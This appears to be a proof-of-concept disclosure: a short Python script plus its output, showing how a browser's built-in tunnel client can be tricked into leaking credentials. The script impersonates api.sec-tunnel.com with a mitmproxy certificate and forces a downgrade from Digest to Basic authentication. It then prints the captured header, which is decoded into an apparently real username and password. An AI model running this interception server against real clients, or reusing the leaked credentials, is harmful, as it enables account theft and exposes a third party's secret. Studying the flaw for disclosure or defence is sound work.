downgrade-digest.py

#!/usr/bin/env python3

import ssl
import http.server
import socketserver
from http import HTTPStatus

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(HTTPStatus.UNAUTHORIZED)
        self.send_header('WWW-Authenticate', 'Basic realm="ApiDigest"')
        self.end_headers()
        print("auth=%s" % self.headers['Authorization'])
        self.wfile.write(b'Unauthorized')

    do_POST = do_GET

class MyTCPServer(socketserver.TCPServer):
    allow_reuse_address = True


httpd = MyTCPServer(('', 8000), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile='/home/user/mitmproxy-ca/api.sec-tunnel.com.pem', keyfile='/home/user/mitmproxy-ca/api.sec-tunnel.com.key', server_side=True)
httpd.serve_forever()

Result is:

auth=Basic c2UwMzE2OlNJTHJNRVBCbUp1aG9teFdrZm0zSmFscUhYMkVoZWcxWWhsRVppTWg4SUk=

which translates to login:password

se0316:SILrMEPBmJuhomxWkfm3JalqHX2Eheg1YhlEZiMh8II

as observed on Opera 74.0.3911.232 @ Win10